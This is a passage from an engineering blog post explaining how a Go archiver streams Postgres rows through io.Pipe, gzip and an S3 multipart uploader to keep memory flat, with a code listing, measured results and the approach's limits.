2. `io.Pipe` — a synchronous in-memory pipe

pr, pw := io.Pipe()

pr is a Reader, pw is a Writer. Bytes written to pw become readable from pr — with no internal buffer. It's a synchronization point, not a queue. Write blocks until something reads pr, and Read blocks until something writes pw. Producer and consumer rate-match each other naturally. If S3 upload stalls, our DB iteration stalls too, and memory stays flat.

3. `compress/gzip.Writer` — streaming compression

gzip.NewWriter(w io.Writer) returns a writer that compresses on the fly. As you Write() to it, it buffers up to ~32 KB internally, then flushes compressed bytes to the underlying writer. You never have to hold the whole input or output in memory.

4. `s3manager.Uploader` — multipart upload from an `io.Reader`

The naive s3.PutObject(Body: io.Reader) is a trap: it needs a Content-Length or seek support to compute the body size, neither of which a true stream provides. s3manager.Uploader reads the body in 5 MB chunks (configurable), uploads each as a multipart "part", and stitches them together with CompleteMultipartUpload. Memory bound: 5 MB × concurrency (default 5) ≈ ~25 MB, well below pod limits.

The producer/consumer pipeline

func (a *Archiver) streamJSONL(
    ctx context.Context,
    s3Key string,
    sqlText string,
    args []any,
    scanFn func(rows pgx.Rows) (any, error),
) (rowCount int, err error) {
    pr, pw := io.Pipe()

    go func() {
        // On exit, close pw with the producer's error (or nil) so the
        // reader side learns the outcome.
        defer func() {
            if err != nil {
                pw.CloseWithError(err)
            } else {
                pw.Close()
            }
        }()

        gz := gzip.NewWriter(pw)
        defer gz.Close() // flushes gzip trailer BEFORE pipe closes

        rows, qErr := a.pool.Query(ctx, sqlText, args...)
        if qErr != nil {
            err = qErr
            return
        }
        defer rows.Close()

        for rows.Next() {
            row, sErr := scanFn(rows)
            if sErr != nil {
                err = sErr
                return
            }
            line, mErr := json.Marshal(row)
            if mErr != nil {
                err = mErr
                return
            }
            if _, wErr := gz.Write(line); wErr != nil {
                err = wErr
                return
            }
            if _, wErr := gz.Write([]byte("\n")); wErr != nil {
                err = wErr
                return
            }
            rowCount++
        }
        if rErr := rows.Err(); rErr != nil {
            err = rErr
        }
    }()

    // Hand pr to s3manager. Blocks until the producer finishes AND all
    // parts are uploaded.
    upErr := a.s3Uploader.UploadStream(ctx, s3Key, pr, "application/gzip",
        map[string]string{"content-encoding": "gzip"})
    if upErr != nil {
        pr.CloseWithError(upErr) // tell producer to stop if still running
        return 0, fmt.Errorf("s3 upload failed: %w", upErr)
    }
    return rowCount, err
}

A few subtleties that look small but matter:

defer gz.Close() is registered before defer pw.Close() and runs first. Gzip needs to flush its trailer bytes through pw. If the pipe closed first, the gzip stream on the consumer side would be truncated and unreadable.
CloseWithError on both ends. If the producer hits a DB error mid-iteration, it closes pw with that error. The consumer reading pr sees ErrClosedPipe wrapping the cause, and s3manager aborts the multipart upload, sending AbortMultipartUpload to S3 — no orphaned partial uploads. The same trick goes the other way: if the S3 upload fails, we pr.CloseWithError(upErr) so the producer's next gz.Write returns and the goroutine exits instead of hanging.
No mutex needed. io.Pipe is its own synchronization primitive; the producer's writes serialize naturally against the consumer's reads.
Reading rowCount after the call is safe because UploadStream only returns after pr is fully drained, which only happens after the producer goroutine closes pw. By the time we return, the producer is done writing to rowCount.

What the numbers looked like after

Same 466K-row table, same pod, same 1 GiB memory limit:

Before: heap peaked around 700 MB; OOM-killed roughly 4 nights out of 5.
After: heap held flat at ~30 MB through the whole archive. Zero OOM kills since deploy.

Wall-clock time went up slightly (a couple of percent) because we no longer issue one fat PutObject — but that's a fair trade for not getting murdered by the kernel.

What streaming doesn't fix

Worth being honest about the limits:

DB-side memory. Some of the queries powering these archives do non-trivial joins. That's Postgres' problem, not the pod's. Streaming doesn't make the planner cheaper.
Retry cost. If the upload fails 90% of the way through, we re-iterate from row zero on retry. For 50M-row tables that's slow but still memory-flat. Idempotent multipart resumption is a follow-up, not a blocker.
In-memory tree builds elsewhere. Other parts of the system still build whole trees in memory before serializing. They're small enough today that it's fine, but it's the same anti-pattern waiting to bite.

The general lesson

Whenever your data pipeline's memory usage scales with input size and you don't actually need random access to the data, you have a streaming bug waiting to happen. The fix is almost always the same set of primitives: a cursor on the source, an io.Pipe for backpressure, a streaming codec in the middle, and a chunked uploader at the sink. Bound the working set to a few megabytes and the pipeline stops caring whether you throw a thousand rows at it or a billion.